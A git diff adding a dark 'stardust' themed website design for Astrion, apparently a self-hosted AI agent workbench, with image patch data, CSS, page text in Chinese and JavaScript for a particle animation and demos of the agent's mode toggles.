zlJz{QCLy-r6*U=O_kTDJ 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 literal 0 HcmV?d00001 diff --git a/website-design/v2-stardust/css/style.css b/website-design/v2-stardust/css/style.css new file mode 100644 index 00000000..cb4e7f47 --- /dev/null +++ b/website-design/v2-stardust/css/style.css @@ -0,0 +1,252 @@ +/* ============================================================ + Astrion 官网 · 版本二:深色星尘(星图 / 天文台) + ============================================================ */ +:root { + --space: #0b0d12; + --panel: #11141b; + --ink: #e9e6dd; + --ink-soft: #9a968c; + --line: rgba(233, 230, 221, .1); + --accent: #e8a87c; + --accent-deep: #cc785c; + --sans: "Sora", "Noto Sans SC", "PingFang SC", system-ui, sans-serif; + --mono: "IBM Plex Mono", "SF Mono", Menlo, monospace; +} + +* { margin: 0; padding: 0; box-sizing: border-box; } +html { scroll-behavior: smooth; } +body { + background: var(--space); + color: var(--ink); + font-family: var(--sans); + font-size: 16px; line-height: 1.75; + overflow-x: hidden; +} +::selection { background: var(--accent-deep); color: #fff; } +.mono { font-family: var(--mono); } +.hidden { display: none !important; } + +#sky { position: fixed; inset: 0; z-index: 0; pointer-events: none; } + +/* ---------- 入场动效 ---------- */ +.reveal { opacity: 0; transform: translateY(22px); transition: opacity .7s ease, transform .7s cubic-bezier(.2,.7,.2,1); } +.reveal.in { opacity: 1; transform: none; } +.reveal.d1 { transition-delay: .08s; } +.reveal.d2 { transition-delay: .16s; } +.reveal.d3 { transition-delay: .24s; } +.reveal.d4 { transition-delay: .32s; } + +/* ---------- 导航 ---------- */ +.nav { + position: sticky; top: 0; z-index: 20; + display: flex; align-items: center; gap: 32px; + padding: 16px 40px; + background: var(--space); + border-bottom: 1px solid var(--line); +} +.brand { display: flex; align-items: center; gap: 12px; text-decoration: none; color: var(--ink); } +.brand-mark { width: 30px; height: 30px; } +.brand-mark .hex { fill: none; stroke: var(--ink); stroke-width: 9; } +.brand-mark .eye { stroke: var(--accent); stroke-width: 9; stroke-linecap: round; } +.brand-name { font-weight: 600; font-size: 19px; letter-spacing: .04em; } +.brand-tag { + font-size: 10px; letter-spacing: .22em; color: var(--ink-soft); + border: 1px solid var(--line); border-radius: 4px; padding: 2px 7px; +} +.nav-links { display: flex; gap: 26px; margin-left: auto; } +.nav-links a { color: var(--ink-soft); text-decoration: none; font-size: 14px; transition: color .2s; } +.nav-links a:hover { color: var(--accent); } + +.btn { + display: inline-flex; align-items: center; gap: 8px; + border: 1px solid var(--line); border-radius: 8px; + padding: 9px 18px; font-size: 14px; text-decoration: none; + font-family: var(--sans); cursor: pointer; + transition: all .2s; background: transparent; color: var(--ink); +} +.btn:active { transform: translateY(1px); } +.btn-accent { background: var(--accent); border-color: var(--accent); color: #16120c; font-weight: 600; } +.btn-accent:hover { background: var(--accent-deep); border-color: var(--accent-deep); color: #fff; } +.btn-lg { padding: 13px 26px; font-size: 15px; border-radius: 10px; } + +/* ---------- Hero ---------- */ +.hero { position: relative; z-index: 1; max-width: 1160px; margin: 0 auto; padding: 90px 40px 30px; } +.hero-grid { display: grid; grid-template-columns: 1.25fr .75fr; gap: 40px; align-items: center; } +.coord { font-size: 12px; letter-spacing: .26em; color: var(--accent); margin-bottom: 26px; } +.hero-title { font-weight: 700; font-size: clamp(40px, 5.6vw, 72px); line-height: 1.22; letter-spacing: .01em; } +.hero-title .accent { color: var(--accent); } +.hero-sub { margin-top: 26px; max-width: 520px; color: var(--ink-soft); font-size: 16.5px; } +.hero-cta { margin-top: 38px; display: flex; align-items: center; gap: 14px; flex-wrap: wrap; } +.clone-chip { + display: inline-flex; align-items: center; gap: 10px; + border: 1px solid var(--line); background: var(--panel); + border-radius: 10px; padding: 12px 16px; + font-size: 13px; color: var(--ink); cursor: pointer; + transition: border-color .2s; +} +.clone-chip:hover { border-color: var(--accent); } +.clone-chip .prompt { color: var(--accent); } +.clone-chip .copy-hint { font-size: 12px; color: var(--ink-soft); border-left: 1px solid var(--line); padding-left: 10px; } +.clone-chip.copied .copy-hint { color: #7fbf7f; } +.hero-meta { margin-top: 30px; display: flex; gap: 14px; font-size: 13px; color: var(--ink-soft); } +.hero-meta i { font-style: normal; opacity: .4; } +.hero-meta em { font-style: normal; color: var(--accent); font-size: 11px; } + +.hero-mark { text-align: center; } +.hero-mark svg { width: 300px; max-width: 100%; } +.ring-lines line { stroke: var(--line); stroke-width: 1; } +.orbit-slow { transform-origin: 160px 160px; animation: orbit 40s linear infinite; } +@keyframes orbit { to { transform: rotate(360deg); } } +.sat { fill: var(--accent); } +.sat.s2 { fill: var(--ink-soft); } +.mark-hex { fill: none; stroke: var(--ink); stroke-width: 10; } +.mark-eye { stroke: var(--accent); stroke-width: 10; stroke-linecap: round; } +.mark-caption { margin-top: 10px; font-size: 11px; letter-spacing: .3em; color: var(--ink-soft); } + +.hero-stats { + margin-top: 60px; display: grid; grid-template-columns: repeat(4, 1fr); + border-top: 1px solid var(--line); border-bottom: 1px solid var(--line); +} +.stat { padding: 22px 10px; text-align: center; border-right: 1px solid var(--line); } +.stat:last-child { border-right: none; } +.stat b { display: block; font-size: 30px; font-weight: 600; color: var(--accent); } +.stat span { font-size: 12.5px; color: var(--ink-soft); font-family: var(--sans); } + +/* ---------- 产品实拍 ---------- */ +.shot-section { position: relative; z-index: 1; max-width: 1060px; margin: 60px auto 0; padding: 0 24px; } +.term-shot { + border: 1px solid var(--line); border-radius: 14px; overflow: hidden; + background: var(--panel); + box-shadow: 0 30px 70px -40px rgba(0, 0, 0, .8); +} +.term-bar { + display: flex; justify-content: space-between; + padding: 11px 16px; border-bottom: 1px solid var(--line); + font-size: 12px; color: var(--ink-soft); +} +.term-bar .dim { opacity: .6; } +.term-shot img { display: block; width: 100%; } + +/* ---------- 章节公共 ---------- */ +section { position: relative; z-index: 1; } +.sec-title { font-weight: 700; font-size: clamp(30px, 4.2vw, 50px); line-height: 1.3; } +.sec-sub { color: var(--ink-soft); margin-top: 16px; max-width: 620px; } + +/* ---------- 模式演示 ---------- */ +.modes { max-width: 1060px; margin: 0 auto; padding: 130px 24px 0; } +.mode-board { + margin-top: 40px; + border: 1px solid var(--line); border-radius: 16px; + background: var(--panel); padding: 30px 34px 26px; +} +.mode-group { + display: flex; align-items: center; gap: 10px; flex-wrap: wrap; + padding: 13px 0; border-bottom: 1px dashed var(--line); +} +.mode-group:last-of-type { border-bottom: none; } +.mg-label { width: 92px; font-size: 12.5px; color: var(--ink-soft); flex-shrink: 0; letter-spacing: .1em; } +.mg-opt { + border: 1px solid var(--line); background: var(--space); + border-radius: 8px; padding: 6px 15px; font-size: 13.5px; + font-family: var(--sans); color: var(--ink); cursor: pointer; + transition: all .18s; +} +.mg-opt:hover { border-color: var(--accent); } +.mg-opt.active { background: var(--accent); color: #16120c; border-color: var(--accent); font-weight: 600; } +.mode-verdict { + margin-top: 22px; padding: 15px 20px; + border-left: 2px solid var(--accent); + background: var(--space); border-radius: 0 10px 10px 0; + font-size: 13px; color: var(--ink-soft); + min-height: 52px; line-height: 1.7; +} + +/* ---------- 能力星图 ---------- */ +.features { max-width: 1060px; margin: 0 auto; padding: 130px 24px 0; } +.star-chart { + margin-top: 46px; + display: grid; grid-template-columns: repeat(3, 1fr); + border-top: 1px solid var(--line); border-left: 1px solid var(--line); +} +.fnode { + border-right: 1px solid var(--line); border-bottom: 1px solid var(--line); + padding: 28px 26px 32px; + transition: background .25s; +} +.fnode:hover { background: var(--panel); } +.fn-id { font-size: 11px; letter-spacing: .18em; color: var(--accent); } +.fnode h3 { font-size: 19px; font-weight: 600; margin: 12px 0 10px; } +.fnode p { color: var(--ink-soft); font-size: 14px; } +.tag-beta { + font-style: normal; font-family: var(--mono); font-size: 10px; + border: 1px solid var(--accent-deep); color: var(--accent); + border-radius: 4px; padding: 1px 6px; vertical-align: 2px; +} + +/* ---------- 安全区(天文台数据面板) ---------- */ +.security { max-width: 1060px; margin: 0 auto; padding: 130px 24px 0; } +.obs-panel { + margin-top: 42px; + border: 1px solid var(--line); border-radius: 14px; overflow: hidden; + background: var(--panel); +} +.obs-row { + display: grid; grid-template-columns: 140px 190px 1fr; gap: 18px; + padding: 18px 24px; font-size: 14.5px; + border-bottom: 1px solid var(--line); align-items: center; +} +.obs-row:last-child { border-bottom: none; } +.obs-head { font-size: 11.5px; letter-spacing: .2em; color: var(--ink-soft); padding: 13px 24px; } +.obs-os { font-weight: 700; font-size: 16px; } +.obs-row .dim { color: var(--ink-soft); font-size: 12.5px; } +.dot { display: inline-block; width: 9px; height: 9px; border-radius: 50%; margin-right: 10px; } +.dot.ok { background: #7fbf7f; } +.dot.warn { background: #d9b45c; } +.dot.bad { background: #d97a6c; } + +/* ---------- 快速上手 ---------- */ +.quickstart { max-width: 860px; margin: 0 auto; padding: 130px 24px 0; } +.qs-grid { margin-top: 42px; border: 1px solid var(--line); border-radius: 14px; overflow: hidden; } +.qs-tabs { display: flex; background: var(--panel); border-bottom: 1px solid var(--line); } +.qs-tab { + border: none; background: transparent; cursor: pointer; + padding: 12px 22px; font-size: 13px; + color: var(--ink-soft); border-right: 1px solid var(--line); + transition: all .18s; +} +.qs-tab.active { background: var(--space); color: var(--accent); box-shadow: inset 0 -2px 0 var(--accent); } +.qs-code { + background: #0d0f15; color: #e6e2d6; + padding: 26px 28px; font-size: 13.5px; line-height: 1.85; + overflow-x: auto; +} +.qs-code .c-cmt { color: #6f6a5c; } +.qs-end { margin-top: 22px; color: var(--accent); font-size: 14px; } + +/* ---------- Footer ---------- */ +.footer { + margin-top: 140px; + border-top: 1px solid var(--line); + padding: 64px 40px 40px; + display: flex; flex-wrap: wrap; gap: 40px; align-items: flex-start; + position: relative; z-index: 1; +} +.brand-mark.lg { width: 54px; height: 54px; } +.foot-brand { max-width: 320px; } +.foot-line { margin-top: 18px; font-size: 14px; color: var(--ink-soft); } +.foot-links { display: flex; flex-direction: column; gap: 12px; margin-left: auto; font-size: 13px; } +.foot-links a { color: var(--ink-soft); text-decoration: none; letter-spacing: .08em; } +.foot-links a:hover { color: var(--accent); } +.foot-copy { width: 100%; margin-top: 28px; font-size: 11.5px; color: var(--ink-soft); letter-spacing: .18em; } + +/* ---------- 响应式 ---------- */ +@media (max-width: 860px) { + .hero-grid { grid-template-columns: 1fr; } + .hero-mark { order: -1; } + .hero-mark svg { width: 220px; } + .star-chart { grid-template-columns: 1fr; } + .hero-stats { grid-template-columns: repeat(2, 1fr); } + .stat:nth-child(2) { border-right: none; } + .nav-links { display: none; } + .obs-row { grid-template-columns: 1fr; gap: 4px; } +} diff --git a/website-design/v2-stardust/index.html b/website-design/v2-stardust/index.html new file mode 100644 index 00000000..ad3c0ef6 --- /dev/null +++ b/website-design/v2-stardust/index.html @@ -0,0 +1,242 @@ + + + + + + Astrion — 住在你机器上的智能体团队 + + + + + + + + + + + + + +
      +
      +
      +

      SECTOR 01 · 自托管智能体工作台

      +

      + 星尘聚合,
      即成智能体。 +

      +

      + Astrion 运行在你的机器上:普通对话、多智能体团队、工作流与技能包。 + 数据不出本机,边界由你设定。 +

      +
      + 开始使用 + +
      +
      + Web·CLI 开发中·Android +
      +
      + + + +
      + +
      +
      4组行为开关
      +
      5个快捷窗口
      +
      12个内置技能包
      +
      3层资产安全网
      +
      +
      + + +
      +
      +
      + astrion — localhost:8091 + 夜间主题 +
      + Astrion 夜间主题主界面 +
      +
      + + +
      +

      SECTOR 02 · CORE CONCEPTS

      +

      四组开关,定义它的行为边界。

      +
      +
      + 部署模式 + + +
      +
      + 权限模式 + + + + +
      +
      + 执行环境 + + +
      +
      + 运行模式 + + + +
      +

      +
      +
      + + +
      +

      SECTOR 03 · CAPABILITIES

      +

      一支团队,而不只是一个对话框。

      +
      +
      + FT-01 +

      多智能体团队

      +

      Team Leader 率领角色团队协作:全栈工程师、代码评审、调研员……预置 5 个角色,可自建。

      +
      +
      + FT-02 +

      三层资产安全网

      +

      版本控制按消息打检查点;修改留痕落盘可 git apply 恢复的 diff;Git 状态栏实时盯梢。

      +
      +
      + FT-03 +

      快捷窗口

      +

      待办、子智能体、后台命令、文件记录、工作流——五窗看板,任务进展与产物一臂之遥。

      +
      +
      + FT-04 +

      工作流与技能包

      +

      内置 4 个工作流、12 个技能包;把流程与经验沉淀下来,越用越懂你的章法。

      +
      +
      + FT-05 +

      目标模式 BETA

      +

      给出长期目标,自动逐轮推进:自我评估、审核智能体把关、触顶或达成才停。

      +
      +
      + FT-06 +

      MCP 扩展

      +

      接入任意 MCP 工具服务;host 模式下对它说一句「帮我配置 xxx」即可装好。

      +
      +
      +
      + + +
      +

      SECTOR 04 · SECURITY, HONESTLY

      +

      安全这件事,我们说实话。

      +

      每个平台能提供的隔离强度不同。别家含糊其辞,我们把水位线画给你看。

      +
      +
      平台沙箱实现安全水位
      +
      WindowsWSL2完全数据隔离,需先安装 WSL2
      +
      macOSsandbox-exec可限制写入;全局可读,无法防止数据泄露
      +
      Linuxbwrap+seccomp尚未实测,请勿依赖其隔离性
      +
      +
      + + +
      +

      SECTOR 05 · QUICK START

      +

      三分钟,让它住进你的机器。

      +
      +
      + + +
      +
      # 1. 克隆
      +$ git clone https://github.com/JOJO6618/astrion.git
      +$ cd astrion
      +
      +# 2. 初始化向导
      +$ ./setup.sh
      +
      +# 3. 构建前端并启动
      +$ npm install && npm run build
      +$ python -m server.app
      + +
      +

      → http://localhost:8091

      +
      + + +
      +
      + +

      星之子,星际粒子。
      把人类意图传递到工具、文件与终端之间。

      +
      + +

      © 2026 ASTRION · OPEN SOURCE

      +
      + + + + diff --git a/website-design/v2-stardust/js/main.js b/website-design/v2-stardust/js/main.js new file mode 100644 index 00000000..9fb0e9bc --- /dev/null +++ b/website-design/v2-stardust/js/main.js @@ -0,0 +1,142 @@ +/* Astrion 官网 · 版本二交互(含星野粒子) */ + +// ---- 星野:缓慢漂移的粒子 + 邻近连线(无光晕) ---- +(() => { + const canvas = document.getElementById('sky'); + const ctx = canvas.getContext('2d'); + let W, H, stars = []; + const DENSITY = 9000; // 每多少平方像素一颗星 + const LINK = 110; // 连线距离阈值 + + function resize() { + W = canvas.width = innerWidth * devicePixelRatio; + H = canvas.height = innerHeight * devicePixelRatio; + canvas.style.width = innerWidth + 'px'; + canvas.style.height = innerHeight + 'px'; + const n = Math.min(140, Math.floor((innerWidth * innerHeight) / DENSITY)); + stars = Array.from({ length: n }, () => ({ + x: Math.random() * W, + y: Math.random() * H, + r: (Math.random() * 1.1 + 0.5) * devicePixelRatio, + vx: (Math.random() - 0.5) * 0.06 * devicePixelRatio, + vy: (Math.random() - 0.5) * 0.06 * devicePixelRatio, + a: Math.random() * 0.35 + 0.15 + })); + } + + function tick() { + ctx.clearRect(0, 0, W, H); + const link = LINK * devicePixelRatio; + // 连线 + ctx.lineWidth = devicePixelRatio * 0.5; + for (let i = 0; i < stars.length; i++) { + for (let j = i + 1; j < stars.length; j++) { + const dx = stars[i].x - stars[j].x; + const dy = stars[i].y - stars[j].y; + const d = Math.hypot(dx, dy); + if (d < link) { + ctx.strokeStyle = `rgba(232,168,124,${(1 - d / link) * 0.10})`; + ctx.beginPath(); + ctx.moveTo(stars[i].x, stars[i].y); + ctx.lineTo(stars[j].x, stars[j].y); + ctx.stroke(); + } + } + } + // 星点 + for (const s of stars) { + s.x += s.vx; s.y += s.vy; + if (s.x < 0 || s.x > W) s.vx *= -1; + if (s.y < 0 || s.y > H) s.vy *= -1; + ctx.fillStyle = `rgba(233,230,221,${s.a})`; + ctx.beginPath(); + ctx.arc(s.x, s.y, s.r, 0, Math.PI * 2); + ctx.fill(); + } + requestAnimationFrame(tick); + } + + addEventListener('resize', resize); + resize(); + tick(); +})(); + +// ---- 入场动效 ---- +const io = new IntersectionObserver((entries) => { + for (const e of entries) { + if (e.isIntersecting) { + e.target.classList.add('in'); + io.unobserve(e.target); + } + } +}, { threshold: 0.12 }); +document.querySelectorAll('.reveal').forEach((el) => io.observe(el)); + +// ---- 复制克隆命令 ---- +document.querySelectorAll('[data-copy]').forEach((btn) => { + btn.addEventListener('click', async () => { + const text = btn.getAttribute('data-copy'); + try { await navigator.clipboard.writeText(text); } catch {} + btn.classList.add('copied'); + const hint = btn.querySelector('.copy-hint'); + const old = hint.textContent; + hint.textContent = '已复制 ✓'; + setTimeout(() => { btn.classList.remove('copied'); hint.textContent = old; }, 1600); + }); +}); + +// ---- 四组模式演示 ---- +const modeState = { deploy: 'host', permission: 'approval', exec: 'sandbox', work: 'plan' }; + +const verdictText = () => { + const work = { + plan: 'AI 只制定计划并与你讨论,批准后自动转入执行', + ask: 'AI 先与你确认方案细节,再动手', + execute: 'AI 自行补全细节,直接开工' + }[modeState.work]; + const perm = { + readonly: '只能读取与检索,一切写入被直接拒绝', + approval: '命令先在只读沙箱试跑,写入需你逐次点头', + auto: '写入由自动审批智能体替你把关,你可随时接管', + unrestricted: '工具不做拦截,直接执行' + }[modeState.permission]; + const exec = modeState.exec === 'sandbox' + ? '命令约束在 OS 沙箱内,读写边界由路径授权限定' + : '命令直接在宿主机执行,无沙箱兜底(高风险)'; + const deploy = modeState.deploy === 'host' + ? '数据存在本机 ~/.astrion,命令跑在宿主机' + : '数据存在服务器,每个用户一个独立容器'; + + let extra = ''; + if (modeState.work === 'plan') extra = ' // 计划模式下权限与执行环境已锁定为只读+沙箱'; + if (modeState.exec === 'direct' && modeState.permission === 'unrestricted') extra = ' // 警告:无限制+直连 = 裸奔'; + + return `${deploy};${exec}。${work};${perm}。${extra}`; +}; + +const verdictEl = document.getElementById('modeVerdict'); +const renderVerdict = () => { verdictEl.textContent = verdictText(); }; + +document.querySelectorAll('.mode-group').forEach((group) => { + const key = group.getAttribute('data-group'); + group.querySelectorAll('.mg-opt').forEach((opt) => { + opt.addEventListener('click', () => { + group.querySelectorAll('.mg-opt').forEach((o) => o.classList.remove('active')); + opt.classList.add('active'); + modeState[key] = opt.getAttribute('data-v'); + renderVerdict(); + }); + }); +}); +renderVerdict(); + +// ---- 快速上手 tab ---- +document.querySelectorAll('.qs-tab').forEach((tab) => { + tab.addEventListener('click', () => { + document.querySelectorAll('.qs-tab').forEach((t) => t.classList.remove('active')); + tab.classList.add('active'); + const target = tab.getAttribute('data-tab'); + document.getElementById('qsHost').classList.toggle('hidden', target !== 'host'); + document.getElementById('qsDocker').classList.toggle('hidden', target !== 'docker'); + }); +}); diff --git a/website-design/v3-terminal/assets/product-main-classic.png b/website-design/v3-terminal/assets/product-main-classic.png new file mode 100644 index 0000000000000000000000000000000000000000..f8290d2593b1d75054cd22a9b588f79e00701958 GIT binary patch literal 35167 zcmeFZRa9JUw>3zF2oQll@IY{Pw+ikM+#v*acgvd~!QI^*f_o7pxI2ZrTjAahdC%9Q z|Nr9Loc>4O^i3G4UA5(rwdR_0uI>L>M)VaD4iW+a!YgqxA$bIZr#c7-k5gYf2A{Bh zJ8VKgc#9w|#INX_v^$6R1$`3MapWKA{dN{V0Nu$cx3+=%&)l3=U_(QL!mNpn)8m&U z?YGd1Cw8$|;xFEA-k9{wVXpg#O- zEGGK!CyfaI5%}{h!2apOf2saGnD@UN{Fx#JRoe)Qr+)axTYN;%ih+-rjt}1_guMv* z9`#1H83}6KZ*F8?OCw>jn7lh3pFy9pOJDS;nX^k6>;;qgygLG*2k@-)kK1 zAfssol|B=vfl0$!>7S(xaXnQlfq2t|4m|Q-3AwYIot;GoC%GXP=diK09m$YP`)7Wr z)b#P=$KY4Ktrt1;)y*fn89c1Q&OQ(Wu6l=^i4lX|2KznFJ=p1D&3uECSI?Nq{QSIx zP**Oi)!p~w4SJzvRM!3d{nu9W6iX``8|T~O)N4B&O>UUW@EWTHKIcP*O1HhKvI?U? zZ7389Q&Lf>Sv(k@w%a({n<>@N`ei+QeSTn2#cb3cVN~L60z1K`Rw;J9I@xOZ;g_VP z`Eb8NZ`AqJDjc;!KQQ5(AV=8U+}^TV&bqJlDE-NUzxxV9jm(v@n9G?<=5{)H>u@-< zbbU_nv@US=YOwi!AceU`dgjdOVE$JAQ$WBa7Sz%QvX74Zfb`D z#dO}G-dOtQD0nyL3%NYJyvM8E6?UD+IT8d=^|{X$hV+x_GJ1ZbQBHON#v{T1XJXTB$if zDua!D=j*+dcK^&`X{0CgI?$f5k3Z(gMbFHY3dd0mibbs(4m2U--CZk3ET%Wp~6M(n3{LUxuqx zE(iET@yzykVWyB!c&pFakG^nXHz5K!0hz#)h;TV0ieF|A(+RdIGCiEKBvweM1W}W3V=f}sd(1Ks% zbL}o|>1M>uHo7Pv@xLRJa@V^!lTWNkrC}mzQIe}rmM-0TIk4F7s?som` zbSD^>JzdCu+38>|Qi#Rt?t3_~D2?i&3XH`>N_srGm!vI;)6Ve#>ao7gl!apNzEkTk z<4F06R=aX>v`4D1zdws*^?-ozRUI8_o@DI6lV>QV3nl$a#G=K;#ndVV6i$>{1!GZ^ zktdmPL|imHHt;Ms{%uhOlWJaSRZQIV92kL{^KbU;k7h zV^T%Yy3zR)$foj1MpGGtrO20T%{YC!gs)XTmq_9$gF8qOm6IFzqBLJVf2yjk3Uze0 zFg1kLE18LN9Ana8@wzI4u{gCX*ZmX`QN6x5Q!`ntK`tDC?sm3ctdLu6ZeHtns(yQQ zO5$shOt0B^aoF-iL4kSYd4$wy%OBy9sEqyV4U$(7on}~-*+bmCupx=JKbUt|{N18d za2HOg*8wR|luRLVDNbO0Pp64auiaRnbjQFL_B#_XPQV9geK1uPS#oF6YRYSI@#m5t zWQLXQvl`TW?e58QWf~nr-SmzCobf_h)n5#byHnDMEW-u7g({`d(r2g%>mPrbsnAm| z3=i@eCHwef|M(%e0KM(+>%VpP=nTT%+ud!nTDVilm8~(G$+2CN@Ow?bX}$OxgpzC? zCd0m3Ty`tve0i7MxZ%K9n&?3$NAv5u+pG8V+ETW?JxYZJoA=9q0$<@y2ydc}Vj0&+ z2+2e*u|GRkcH{QX-E#S(+H<$rG?U-{jWf zmLqk^SUlZX?qqXGs57uet$eaM&#N=vSZ=*FVlZB)5{S#b-y-O@ikJfN`X~~FC9f8- zTjSb~GhK3c(9GW0)Fcs0H{KwdTA)-QA-EsCRI`9aDuu;tD7ErD0DJVTy}P+Lin3U% zSf!>UJ3AX>m2bvr#=}I+Mtunky0bfzukm3u%=#Gbs3oa+D;vEI@YqZ0uanxdv>F^S zDZ(JSt=>%a)M^#c34GueJ4NeC#cegbt-v}U{QG6b*YX4Ne!JoByp_uww z>B?SRxei3s-|PJe`uzz?{x3vDMV;P+F7_&9OXa&iftYb2y+HXqR`fN6LXL>i-?_eC zCV_=fIA9eDJ1&ZBV4yNL- zY!1WH$wLTOnN^#0^#WNe&UM`kYA6?|%3a~{xs#}rBuV2GK35C= z!0dQd6c6(l&6ccjJ5TZUM>AE~dli%#>VB|RQ|31K;ibAnt@xZWn+z6xJd=ZZX$tS( zREJ7WPftmbB@@Xd8iLmunrb{=?t_lPGs}xc^7CNhz-bTWFzxEO+Qo>CXE|T_(Z$vw 